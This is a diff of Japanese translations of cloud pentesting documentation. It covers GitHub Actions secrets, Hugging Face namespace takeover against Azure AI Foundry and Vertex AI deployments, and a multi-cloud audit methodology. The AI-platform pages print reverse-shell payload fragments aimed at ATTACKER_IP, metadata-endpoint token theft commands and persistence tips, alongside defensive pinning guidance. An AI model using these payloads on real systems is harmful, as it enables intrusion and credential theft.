+- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
 
 ### Github Actions
 
-これは**githubへの認証方法ではありません**が、**悪意あるGithub Actionが不正にgithubへアクセスし得る**可能性があり、Actionに与えられた**privileges**によっては**様々な攻撃**が可能です。以下で詳述します。
+これは **Github に認証するための方法ではありません** が、悪意ある Github Action が **github へ不正アクセスを得る** 可能性があり、Action に与えられた **privileges** に応じてさまざまな **攻撃** が実行される可能性があります。詳細は以下を参照してください。
 
 ## Git Actions
 
-Git actionsは**イベント発生時にコードを実行することを自動化**できます。通常、実行されるコードは**リポジトリのコードに何らかの形で関連**しており（例：dockerコンテナのビルドやPR内に秘密情報が含まれていないかのチェックなど）。
+Git actions は **イベントが発生したときにコードの実行を自動化する** 仕組みです。通常、実行されるコードは **リポジトリのコードに関連する処理**（例：docker コンテナのビルドや PR に秘匿情報が含まれていないかのチェック）です。
 
 ### Configuration
 
-_https://github.com/organizations/\<org_name>/settings/actions_ では、組織の**github actionsの設定**を確認できます。
+_https://github.com/organizations/\<org_name>/settings/actions_ では、組織の **github actions の設定** を確認できます。
 
-github actionsの使用を完全に禁止したり、**すべてのgithub actionsを許可**したり、特定のactionsのみを許可する設定が可能です。
+github actions の使用を完全に禁止したり、**すべての github actions を許可** したり、特定の actions のみを許可したりできます。
 
-また、**誰がGithub Actionの実行に承認を要するか**や、実行時のGithub Actionの**GITHUB_TOKENの権限**を設定することもできます。
+また、**誰が Github Action を実行する際に承認が必要か**、および Github Action 実行時の **GITHUB_TOKEN の権限** を設定することも可能です。
 
 ### Git Secrets
 
-Github Actionは通常、githubやサードパーティアプリとやり取りするために何らかのsecretを必要とします。これらをリポジトリに平文で置かないように、githubは**Secrets**として格納することを許可しています。
+Github Action は通常、github やサードパーティアプリと連携するための何らかの secret を必要とします。これらをリポジトリ内で平文保存するのを **避けるために**、github はそれらを **Secrets** として保存することを許可しています。
 
-これらのsecretsは**リポジトリ単位または組織全体**で設定できます。Actionがsecretにアクセスできるようにするには、そのsecretを次のように宣言する必要があります。
+これらの secrets は **リポジトリ単位または組織全体で設定** できます。Action が secret にアクセスできるようにするには、次のように宣言する必要があります:
 ```yaml
 steps:
 - name: Hello world action
@@ -159,7 +159,7 @@ super_secret:${{ secrets.SuperSecret }}
 env: # Or as an environment variable
 super_secret:${{ secrets.SuperSecret }}
 ```
-#### Bash を使った例 <a href="#example-using-bash" id="example-using-bash"></a>
+#### Bashを使った例 <a href="#example-using-bash" id="example-using-bash"></a>
 ```yaml
 steps:
 - shell: bash
@@ -168,15 +168,15 @@ run: |
 example-command "$SUPER_SECRET"
 ```
 > [!WARNING]
-> Secrets **はそれらを宣言している Github Actions からのみアクセスできます**。
+> Secrets **それらを宣言している Github Actions からのみアクセスできます**。
 
-> リポジトリや組織に設定された後、**users of github won't be able to access them again**。ユーザーはそれらを**change them**することしかできません。
+> 一度 repo や organization に設定されると、**github のユーザーはそれらに再びアクセスすることはできません**。ただし、**変更することはできます**。
 
-したがって、**the only way to steal github secrets is to be able to access the machine that is executing the Github Action**（そのシナリオでは Action に宣言されたシークレットにしかアクセスできません）。
+したがって、**github secrets を盗む唯一の方法は、Github Action を実行しているマシンにアクセスできることです**（その場合、Action に宣言された secrets のみアクセスできます）。
 
 ### Git Environments
 
-Github は **environments** を作成して、そこに **secrets** を保存できます。次に、環境内のシークレットへのアクセス権を github action に次のように付与できます:
+Github は **environments** を作成して **secrets** を保存できます。次に、次のようにして github action に environment 内の secrets へのアクセスを許可できます：
 ```yaml
 jobs:
 deployment:
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md
index 1207ee324..5b2d7861c 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md
@@ -4,15 +4,15 @@
 
 ## シナリオ
 
-- Azure AI Foundry Model Catalog には、ワンクリックでデプロイできる Hugging Face (HF) モデルが多数含まれています。
-- HF のモデル識別子は Author/ModelName です。もし HF の author/org が削除されると、誰でもその author を再登録して同じ ModelName で旧パスにモデルを公開できます。
-- 名前のみで取得する（commit pinning/integrity がない）pipelines や catalogs は、攻撃者がコントロールする repos に解決されます。Azure がモデルをデプロイすると、loader code がエンドポイント環境で実行され、そのエンドポイントの権限で RCE を得られる可能性があります。
+- Azure AI Foundry Model Catalog にはワンクリックでデプロイ可能な Hugging Face (HF) モデルが多数含まれています。
+- HF のモデル識別子は Author/ModelName です。HF の author/org が削除されると、誰でもその author を再登録して同じ ModelName のモデルを legacy path に公開できます。
+- 名前だけで取得する pipelines や catalogs（コミットのピン留め/整合性がない場合）は攻撃者管理のリポジトリに解決されます。Azure がモデルをデプロイすると、loader code がエンドポイント環境で実行され、そのエンドポイントの権限で RCE を得る可能性があります。
 
 一般的な HF の乗っ取りケース:
-- 所有権の削除: 旧パスは乗っ取りされるまで 404 のままになります。
-- 所有権の移転: 古い author が存在する間は旧パスが新しい author に 307 リダイレクトされます。もし古い author が後で削除され再登録されると、リダイレクトが壊れ、攻撃者の repo が旧パスで提供されます。
+- 所有権の削除: 旧パスは乗っ取られるまで 404 になります。
+- 所有権の移転: 旧著者が存在する間は旧パスが新しい author へ 307 リダイレクトします。もし旧著者が後に削除され再登録されると、リダイレクトは壊れ、攻撃者のリポジトリが旧パスで配信されます。
 
-## 再利用可能な Namespace (HF) の特定
+## 再利用可能な名前空間の特定 (HF)
 ```bash
 # Check author/org existence
 curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/available
@@ -21,14 +21,14 @@ curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/availab
 curl -I https://huggingface.co/<Author>/<ModelName>
 # 307 -> redirect (transfer case), 404 -> deleted until takeover
 ```
-## Azure AI Foundry に対するエンドツーエンド攻撃フロー
+## Azure AI Foundry に対するエンドツーエンドの攻撃フロー
 
-1) Model Catalog で、HF 上で元の作者が削除または移管され（old author removed）、放置された HF モデルを見つける。  
-2) HF 上で放棄された作者を再登録し、ModelName を再作成する。  
-3) インポート時に実行される、または trust_remote_code=True を要求する loader コードを含む悪意のある repo を公開する。  
-4) Azure AI Foundry からレガシーの Author/ModelName をデプロイする。プラットフォームが攻撃者の repo をプルし、loader が Azure の endpoint 上の container/VM 内で実行され、endpoint 権限で RCE を獲得する。
+1) Model Catalogで、HF上で元のAuthorが削除または移管（旧Authorが削除）されたHFのモデルを見つける。  
+2) HFで放棄されたAuthorを再登録し、ModelNameを再作成する。  
+3) import時に実行される、またはtrust_remote_code=Trueを必要とするloaderコードを含む悪意あるrepoを公開する。  
+4) Azure AI FoundryからレガシーのAuthor/ModelNameをデプロイする。プラットフォームが攻撃者のrepoをプルし、loaderがAzureのendpointのcontainer/VM内で実行され、endpoint権限でRCEを引き起こす。
 
-インポート時に実行されるペイロードの断片（デモ用）：
+Example payload fragment executed on import (for demonstration only):
 ```python
 # __init__.py or a module imported by the model loader
 import os, socket, subprocess, threading
@@ -46,41 +46,41 @@ if os.environ.get("AZUREML_ENDPOINT","1") == "1":
 threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
 ```
 注意事項
-- AI Foundry を統合する HF 対応のデプロイは、通常モデルの config で参照されるリポジトリモジュール（例: auto_map）をクローンして import し、code execution を引き起こす可能性があります。いくつかのパスでは trust_remote_code=True が必要です。
-- アクセス権は通常エンドポイントの managed identity/service principal の権限に一致します。これを Azure 内でのデータアクセスや lateral movement のための initial access foothold として扱ってください。
+- AI Foundry を統合する HF ベースのデプロイは通常、モデルの config で参照される repo モジュール（例: auto_map）をクローンしてインポートします。これによりコード実行が発生する可能性があります。いくつかのパスでは trust_remote_code=True が必要です。
+- アクセス権は通常、エンドポイントの managed identity/service principal の権限に合わせられます。これをデータ取得や Azure 内での横移動を行うための初期アクセスの足がかりとして扱ってください。
 
-## Post-Exploitation Tips (Azure Endpoint)
+## ポストエクスプロイトのヒント (Azure Endpoint)
 
-- 環境変数および MSI endpoints を列挙して tokens を取得／確認する:
+- トークン取得のために環境変数とMSIエンドポイントを列挙する:
 ```bash
 # Azure Instance Metadata Service (inside Azure compute)
 curl -H "Metadata: true" \
 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
 ```
-- 取得したトークンで、マウントされたストレージ、モデルアーティファクト、および到達可能な Azure services を確認する。
-- プラットフォームが HF から再取得する場合に備えて、poisoned model artifacts を残して persistence を検討する。
+- 取得したトークンでマウントされたストレージ、モデルアーティファクト、および到達可能な Azure サービスを確認する。
+- プラットフォームがHFから再プルする場合は、毒入りのモデルアーティファクトを残して永続化を図ることを検討する。
 
 ## Azure AI Foundry ユーザー向けの防御ガイダンス
 
-- HF からロードする際は、commit 単位でモデルを pin する:
+- HF からロードする際はコミットでモデルを固定する:
 ```python
 from transformers import AutoModel
 m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
 ```
 - 検証済みの HF モデルを信頼できる内部レジストリにミラーし、そこからデプロイする。
-- コードベースおよび defaults/docstrings/notebooks を継続的にスキャンし、削除または移管されたハードコーディングされた Author/ModelName を検出したら更新または pin する。
-- デプロイ前に author の存在と model の出所を検証する。
+- コードベースや defaults/docstrings/notebooks を継続的にスキャンし、削除／移管されたハードコーディング済みの Author/ModelName を検出して更新またはピン留めする。
+- デプロイ前に作者の存在とモデルの出所を検証する。
 
-## 検出ヒューリスティック (HTTP)
+## 認識ヒューリスティクス (HTTP)
 
-- 削除された author: author page 404; legacy model path 404 until takeover.
-- 移管されたモデル: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
+- 削除された作者: 作者ページが 404；レガシーモデルのパスも takeover まで 404 になる。
+- 移管されたモデル: 旧作者が存在する間、レガシーパスが 307 で新しい作者へリダイレクトされる；もし旧作者が後で削除され再登録されると、レガシーパスが攻撃者のコンテンツを配信する。
 ```bash
 curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
 ```
 ## 相互参照
 
-- より広範な方法論およびサプライチェーンの注意点を参照してください:
+- より包括的な方法論およびサプライチェーンに関する注記を参照してください：
 
 {{#ref}}
 ../../pentesting-cloud-methodology.md
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
index a6968b382..977db3a20 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md
@@ -2,22 +2,22 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Scenario
+## シナリオ
 
 - Vertex AI Model Garden は多くの Hugging Face (HF) モデルを直接デプロイできます。
-- HF model identifiers are Author/ModelName. HF 上の author/org が削除された場合、同じ author 名は誰でも再登録できます。攻撃者はその後、同じ ModelName を使った repo をレガシーパス上に作成できます。
-- 名前のみで取得する（pinning/integrity なし）Pipelines、SDKs、またはクラウドカタログは攻撃者が制御する repo を引いてしまいます。モデルがデプロイされると、その repo の loader code が Vertex AI endpoint container 内で実行され、エンドポイントの権限で RCE を得られます。
+- HF のモデル識別子は Author/ModelName です。HF 上の author/org が削除されると、同じ author 名は誰でも再登録できます。攻撃者はその後、同じ ModelName を持つ repo をレガシーなパスに作成できます。
+- 名前だけで取得する（pinning/integrity がない）Pipelines、SDKs、またはクラウドカタログは攻撃者がコントロールする repo を取得します。モデルがデプロイされると、その repo のローダーコードが Vertex AI endpoint コンテナ内で実行され、エンドポイントの権限で RCE を引き起こす可能性があります。
 
-Two common takeover cases on HF:
-- Ownership deletion: 古いパスは、誰かがその author を再登録して同じ ModelName を公開するまで 404 を返します。
-- Ownership transfer: HF は古い Author/ModelName から新しい author へ 307 リダイレクトを発行します。古い author が後で削除され攻撃者により再登録されると、リダイレクトチェーンは途切れ、攻撃者の repo がレガシーパスで提供されます。
+HF での一般的な乗っ取りケースは 2 つあります:
+- Ownership deletion: 旧パスは、誰かが author を再登録して同じ ModelName を公開するまで 404 を返します。
+- Ownership transfer: HF は旧 Author/ModelName から新しい author へ 307 リダイレクトを発行します。もし旧 author が後に削除され攻撃者によって再登録された場合、リダイレクトチェーンは切断され、攻撃者の repo がレガシーパスで応答します。
 
-## Identifying Reusable Namespaces (HF)
+## 再利用可能なネームスペースの特定 (HF)
 
-- Old author deleted: author のページが 404 を返します。モデルパスは takeover が行われるまで 404 を返す場合があります。
-- Transferred models: 古いモデルパスは、古い author が存在している間は新しい所有者へ 307 を返します。もし古い author が後で削除され再登録されると、レガシーパスは攻撃者の repo を指すようになります。
+- Old author deleted: author のページが 404 を返す; モデルのパスは乗っ取りまで 404 を返す場合があります。
+- Transferred models: 旧モデルパスは旧 author が存在する間、新しい所有者へ 307 を発行します。もし旧 author が後に削除され再登録されると、レガシーパスは攻撃者の repo を指すようになります。
 
-Quick checks with curl:
+curl を使った簡易チェック:
 ```bash
 # Check author/org existence
 curl -I https://huggingface.co/<Author>
@@ -30,22 +30,22 @@ curl -I https://huggingface.co/<Author>/<ModelName>
 ```
 ## Vertex AI に対するエンドツーエンドの攻撃フロー
 
-1) Model Garden に deployable としてリストされている再利用可能なモデル名前空間を発見する:
-- Vertex AI Model Garden 内で、まだ “verified deployable” と表示されている HF モデルを見つける。
-- HF 上で、元の author が削除されているか、モデルが移管されて古い author が後に削除されたかを確認する。
+1) Model Garden が deployable として一覧表示している、再利用可能なモデル名前空間を発見する:
+- Vertex AI Model Garden にある、まだ “verified deployable” と表示されている HF モデルを見つける。
+- HF 上で元の author が削除されているか、またはモデルが移管されて古い author が後で削除されたかを確認する。
 
 2) HF 上で削除された author を再登録し、同じ ModelName を再作成する。
 
-3) 悪意のある repo を公開する。モデルのロード時に実行されるコードを含める。HF のモデルロード中に一般的に実行される例:
+3) 悪意のある repo を公開する。モデルのロード時に実行されるコードを含める。HF のモデルロード時によく実行される例:
 - repo の __init__.py における副作用
-- config/auto_map で参照される custom modeling_*.py や processing コード
-- Transformers パイプラインで trust_remote_code=True を要するコードパス
+- config/auto_map で参照されるカスタムの modeling_*.py や処理コード
+- Transformers の pipelines で trust_remote_code=True を要求するコードパス
 
-4) レガシーな Author/ModelName の Vertex AI デプロイが攻撃者の repo をプルするようになる。ローダーは Vertex AI endpoint コンテナ内で実行される。
+4) 以前の Author/ModelName を使った Vertex AI のデプロイが攻撃者の repo をプルする。ローダーは Vertex AI endpoint コンテナ内で実行される。
 
 5) ペイロードは endpoint 環境から（RCE）エンドポイントの権限でアクセスを確立する。
 
-インポート時に実行されるペイロード断片の例（デモ目的のみ）：
+Example payload fragment executed on import (for demonstration only):
 ```python
 # Place in __init__.py or a module imported by the model loader
 import os, socket, subprocess, threading
@@ -63,43 +63,43 @@ if os.environ.get("VTX_AI","1") == "1":
 threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
 ```
 メモ
-- 実際のローダーは様々です。多くの Vertex AI HF 統合は、モデルの設定で参照されるリポジトリモジュール（例: auto_map）をクローンしてインポートし、これがコード実行を引き起こす可能性があります。一部の利用では trust_remote_code=True が必要になることがあります。
-- エンドポイントは通常、限定的な権限の専用コンテナで動作しますが、GCP 内でのデータアクセスや横移動のための有効な初期足がかりになり得ます。
+- 実際の loaders は様々です。多くの Vertex AI HF integrations はモデル’s config で参照されるリポジトリモジュールをクローンしてインポートします（例: auto_map）。これがコード実行を引き起こす可能性があります。使用によっては trust_remote_code=True が必要です。
+- endpoint は通常、限定されたスコープの専用コンテナで動作しますが、GCP 内でデータアクセスや横移動のための有効な初期足掛かりとなり得ます。
 
 ## Post-Exploitation Tips (Vertex AI Endpoint)
 
-endpoint コンテナ内でコードが実行されている場合、次を検討してください:
-- 資格情報／トークンのために環境変数やメタデータを列挙する
+コードが endpoint コンテナ内で実行されている場合は、以下を検討してください:
+- 資格情報／トークンを得るために環境変数やメタデータを列挙する
 - アタッチされたストレージやマウントされたモデルアーティファクトにアクセスする
-- サービスアカウントの識別を使って Google APIs とやり取りする (Document AI, Storage, Pub/Sub, etc.)
-- プラットフォームが repo を再取得する場合に備えてモデルアーティファクト内に永続化する
+- サービスアカウントのアイデンティティを介して Google APIs（Document AI, Storage, Pub/Sub など）とやり取りする
+- プラットフォームがリポジトリを再取得する場合に備えて、モデルアーティファクト内に永続化を置く
 
-アクセス可能ならインスタンスメタデータを列挙する（コンテナ依存）:
+アクセス可能ならインスタンスのメタデータを列挙する（コンテナ依存）:
 ```bash
 curl -H "Metadata-Flavor: Google" \
 http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
 ```
-## Vertex AI ユーザー向けの防御ガイダンス
+## Vertex AI ユーザー向け防御ガイダンス
 
-- HF loadersでモデルをcommit単位で固定して、サイレントな置き換えを防ぐ:
+- HF loaders で commit によってモデルを固定し、知らないうちに差し替えられるのを防ぐ:
 ```python
 from transformers import AutoModel
 m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
 ```
-- 精査済みの HFモデル を信頼できる内部のアーティファクトストア/レジストリにミラーし、そこからデプロイする。
-- コードベースと設定を継続的にスキャンし、削除/転送されたハードコーディングされた Author/ModelName を検出して、新しい名前空間に更新するかコミットで固定する。
-- Model Garden では、デプロイ前にモデルの由来と作者の存在を確認する。
+- 検証済みの HF models を信頼できる社内の artifact store/registry にミラーし、そこからデプロイする。
+- コードベースや設定を継続的にスキャンし、削除／移管された Author/ModelName がハードコードされていないか確認する。新しい名前空間に更新するか、コミットで pin する。
+- Model Garden では、デプロイ前にモデルの出所と著者の存在を確認する。
 
-## 認識ヒューリスティクス (HTTP)
+## 検出ヒューリスティクス (HTTP)
 
-- 削除された作者：作者ページが404。旧モデルパスも引き継ぎまで404。
-- 移管されたモデル：旧パスが旧作者が存在する間に新作者へ307リダイレクトする；後に旧作者が削除され再登録された場合、旧パスは攻撃者のコンテンツを返す。
+- Deleted author: 著者ページが 404。レガシーモデルのパスも乗っ取りが起こるまで 404。
+- Transferred model: レガシーパスが 307 で新しい著者へリダイレクトされる（旧著者が存在する間）；もし旧著者が後に削除され再登録されると、レガシーパスが攻撃者のコンテンツを配信する。
 ```bash
 curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
 ```
 ## 相互参照
 
-- より広範な方法論およびサプライチェーンに関する注記を参照:
+- より広範な方法論とサプライチェーンに関する注意事項を参照してください：
 
 {{#ref}}
 ../../pentesting-cloud-methodology.md
diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md
index 7c6192a03..a674475ac 100644
--- a/src/pentesting-cloud/pentesting-cloud-methodology.md
+++ b/src/pentesting-cloud/pentesting-cloud-methodology.md
@@ -1,4 +1,4 @@
-# Pentesting クラウド方法論
+# Pentesting Cloud 方法論
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,39 +6,39 @@
 
 ## 基本的な方法論
 
-各クラウドには固有の特性がありますが、一般的にクラウド環境をテストする際に、**ペンテスターが確認すべき共通の項目**がいくつかあります:
+各クラウドには固有の特徴がありますが、一般的にクラウド環境をテストする際に確認すべき**共通のチェック項目（a pentester should check）**がいくつかあります:
 
 - **ベンチマークチェック**
-- これは環境の**規模を把握**し、**使用されているサービス**を理解するのに役立ちます
-- ほとんどのテストを**自動化ツール**で実行できるため、**簡単な誤設定**を見つけることもできます
-- **サービス列挙**
-- ベンチマークテストを正しく実行していれば、ここで大きな誤設定はあまり見つからないかもしれませんが、ベンチマークで見落とされていたものが見つかる可能性があります。
-- これによりクラウド環境で**正確に何が使われているか**を把握できます
-- 次のステップで大いに役立ちます
-- **公開アセットの確認**
-- これは前のセクションで行うことができ、インターネットに何らかの形で**公開されている可能性のあるすべて**と、そのアクセス方法を把握する必要があります。
-- ここでは、ウェブページやその他のポートが公開されているインスタンスのような**手動で公開されたインフラ**や、公開可能な設定がされ得る**クラウド管理サービス**（例: DBsや buckets）について扱います。
-- 次に、そのリソースが**実際に公開されうるか**（機密情報か？脆弱性か？公開されたサービスの誤設定か？）を確認するべきです。
+- これにより環境の**規模を理解**し、**使用されているサービス**を把握できます
+- ほとんどのテストを**自動化ツール**で実行できるため、**簡単なミスコンフィギュレーション**を見つけられることもあります
+- **Services Enumeration**
+- ベンチマークテストを正しく実施していればここで大きなミスコンフィギュレーションはあまり見つからないかもしれませんが、ベンチマークで見落とされていたものが見つかる場合があります
+- これによりクラウド環境で**何が実際に使われているか**を把握できます
+- 次のステップで非常に役立ちます
+- **公開されているアセットの確認**
+- これは前のセクションで行うことができ、潜在的にインターネットに公開されているものを**すべて特定**し、それがどのようにアクセス可能かを確認する必要があります
+- ここでは、webページや他のポートが公開されているインスタンスのような**手動で公開されたインフラ**、および公開可能な構成がなされる**クラウド管理サービス**（DBsやbucketsなど）について扱います
+- 次に、そのリソースが**実際に公開され得るか**（機密情報？脆弱性？公開されているサービスの設定ミス？）を確認するべきです
 - **権限の確認**
-- ここではクラウド内の各ロール/ユーザーの**全ての権限**とそれらの使われ方を把握するべきです
-- 特権が**過剰**（すべてを制御できる）なアカウントが多い？生成されたキーが未使用？... これらの多くは既にベンチマークテストでチェックされているはずです
-- クライアントが OpenID や SAML、その他の **フェデレーション** を使用している場合、各ロールがどのように割り当てられているかについてのさらなる **情報** を確認する必要があるかもしれません（admin ロールが1人に割り当てられているのと100人に割り当てられているのとでは同じではありません）。
-- ユーザーが "**admin**" 権限 "*:*" を持っていることを見つけるだけでは**不十分**です。使用されるサービスによっては非常に**センシティブ**な**その他の権限**が多数存在します。
-- さらに、権限を悪用して追える**潜在的な privesc** の手段が存在します。これらすべてを考慮に入れ、**できる限り多くの privesc パス**を報告すべきです。
+- ここでは、クラウド内の各ロール/ユーザーが持つ**すべての権限**とそれらがどのように使われているかを特定する必要があります
+- 過度に**高い権限を持つアカウント**が多すぎる？（すべてを制御できる）生成されたキーが使われていない？…これらの多くは既にベンチマークテストで確認されているはずです
+- クライアントがOpenIDやSAML、その他の**federation**を使用している場合、各ロールがどのように割り当てられているかについてさらに**情報**を求める必要があるかもしれません（管理者ロールが1人に割り当てられているのと100人に割り当てられているのでは状況が異なります）
+- **見つけるだけでは不十分**にどのユーザーが**admin**権限 "\*:\*" を持っているかを確認するだけでは不十分です。使用されているサービスによっては非常に**センシティブ**になり得る**その他の権限**が多数存在します
+- さらに、権限を悪用して追跡可能な**potential privesc**の経路が存在します。これらすべてを考慮し、**できるだけ多くの privesc paths**を報告する必要があります
 - **統合の確認**
-- クラウド環境内で**他のクラウドや SaaS との統合**が利用されている可能性が高いです。
-- 監査対象のクラウドが他のプラットフォームと統合されている場合、その統合を（悪用）できる**誰がアクセス権を持っているか**を通知し、そのアクションがどれほど**機微（敏感）**であるかを確認すべきです。  
-例えば、GCP がデータを取得している AWS のバケットに書き込みできるのは誰か（そのデータを GCP 側で扱うことがどれほど敏感かを確認してください）。
-- 外部プラットフォームから監査対象クラウド内への統合については、その統合を外部から（悪用）できる**誰がアクセス権を持っているか**を確認し、そのデータがどのように使われているかをチェックするべきです。  
-例えば、あるサービスが GCR にホストされた Docker イメージを使用している場合、そのイメージを修正できるのは誰か、そしてそのイメージが AWS クラウド内で実行されたときにどのような機密情報やアクセス権を得るかを確認してください。
+- クラウド環境内で**他のクラウドやSaaSとの統合**が使われている可能性が非常に高いです
+- 監査対象のクラウドが他のプラットフォームと行っている**統合**については、その統合を(悪用)できる**誰がアクセス権を持っているか**を通知し、その操作がどれほど**機密性が高いか**を確認するべきです。\
+例えば、GCPがデータを取得しているAWSのbucketに誰が書き込みできるか（そのデータをGCPで扱う際にどの程度機密性があるかを尋ねる）。
+- 外部プラットフォームから監査対象のクラウド内に対する**統合**については、その統合を外部から(悪用)できる**誰がアクセス権を持っているか**を確認し、そのデータがどのように使用されているかをチェックするべきです。\
+例えば、あるサービスがGCRにホストされたDockerイメージを使用している場合、そのイメージを変更できるのは誰か、そしてそのイメージがAWSクラウド内で実行されたときにどのような機密情報やアクセス権を取得するかを確認すべきです。
 
 ## マルチクラウドツール
 
-異なるクラウド環境のテストに使用できるツールがいくつかあります。インストール手順とリンクはこのセクションで示します。
+異なるクラウド環境をテストするために使用できるツールがいくつかあります。インストール手順とリンクはこのセクションで示します。
 
 ### [PurplePanda](https://github.com/carlospolop/purplepanda)
 
-クラウドやクラウド間/SaaS における悪い設定および privesc パスを識別するツールです。
+クラウドおよびクラウド間/SaaSにおける**不適切な設定とprivesc pathを識別する**ツール。
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
 
 ### [Prowler](https://github.com/prowler-cloud/prowler)
 
-これは **AWS, GCP & Azure** をサポートしています。各プロバイダの設定方法は [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) を参照してください。
+それは **AWS, GCP & Azure** をサポートしています。各プロバイダの設定方法は [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) を確認してください。
 ```bash
 # Install
 pip install prowler
@@ -146,7 +146,7 @@ done
 
 {{#tabs }}
 {{#tab name="Install" }}
-Steampipeをダウンロードしてインストールします（[https://steampipe.io/downloads](https://steampipe.io/downloads)）。またはBrewを使用します：
+Steampipe をダウンロードしてインストールしてください（[https://steampipe.io/downloads](https://steampipe.io/downloads)）。または Brew を使用してください:
 ```
 brew tap turbot/tap
 brew install steampipe
@@ -168,9 +168,9 @@ steampipe check all
 ```
 <details>
 
-<summary>すべてのプロジェクトを確認する</summary>
+<summary>すべてのプロジェクトを確認</summary>
 
-すべてのプロジェクトを確認するには、テストするすべてのプロジェクトを指定する`gcp.spc`ファイルを生成する必要があります。以下のスクリプトの指示に従えばよいです。
+すべてのプロジェクトをチェックするには、テストするすべてのプロジェクトを指定する `gcp.spc` ファイルを生成する必要があります。以下のスクリプトの指示に従えばよいです。
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>
 
-他の **GCP insights**（サービス列挙に役立つ）を確認するには、次を使用してください: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+他の **GCP insights**（サービスの列挙に有用）を確認するには、次を使用してください: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
 Terraform の GCP コードを確認するには: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
-Steampipe のその他の GCP プラグイン: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
+Steampipe の GCP プラグインをさらに見る: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
 {{#endtab }}
 
 {{#tab name="AWS" }}
@@ -234,11 +234,11 @@ More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aw
 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
 
 AWS, GCP, Azure, DigitalOcean.\
-python2.7 が必要で、メンテされていないように見えます。
+python2.7 が必要で、メンテナンスされていないように見えます。
 
 ### Nessus
 
-Nessus には _**Audit Cloud Infrastructure**_ スキャンがあり、AWS、Azure、Office 365、Rackspace、Salesforce をサポートします。**Azure** では **Client Id** を取得するために追加の設定が必要です。
+Nessus には _**Audit Cloud Infrastructure**_ スキャンがあり、以下をサポートします: AWS、Azure、Office 365、Rackspace、Salesforce。**Azure** では **Client Id** を取得するためにいくつかの追加設定が必要です。
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
-Cartography は、Neo4j データベースによって駆動される直感的なグラフビューで、インフラストラクチャ資産とそれらの間の関係を統合する Python ツールです。
+Cartographyは、Neo4jデータベースで駆動される直感的なグラフビューで、インフラストラクチャの資産とそれらの関係を統合するPythonツールです。
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography  \
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbaseは、クラウドインフラ、SaaSアプリケーション、セキュリティコントロールなどのサービスやシステムから資産と関係性を収集し、Neo4jデータベースをバックエンドとした直感的なグラフビューに統合します。
+Starbaseはクラウドインフラ、SaaSアプリケーション、セキュリティコントロールなどを含むサービスやシステムから資産と関係性を収集し、Neo4jデータベースをバックエンドにした直感的なグラフビューにまとめます。
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
 
 ### [**SkyArk**](https://github.com/cyberark/SkyArk)
 
-スキャンされた AWS または Azure 環境で、AWS Shadow Admins を含む最も権限の高いユーザーを検出します。powershell を使用します。
+スキャンされた AWS または Azure 環境で、最も権限の高いユーザー（AWS Shadow Admins を含む）を検出します。powershell を使用します。
 ```bash
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -372,13 +372,13 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
 
-企業（ターゲット）のインフラ、ファイル、アプリを主要クラウドプロバイダ（Amazon、Google、Microsoft、DigitalOcean、Alibaba、Vultr、Linode）上で見つけるためのツール。
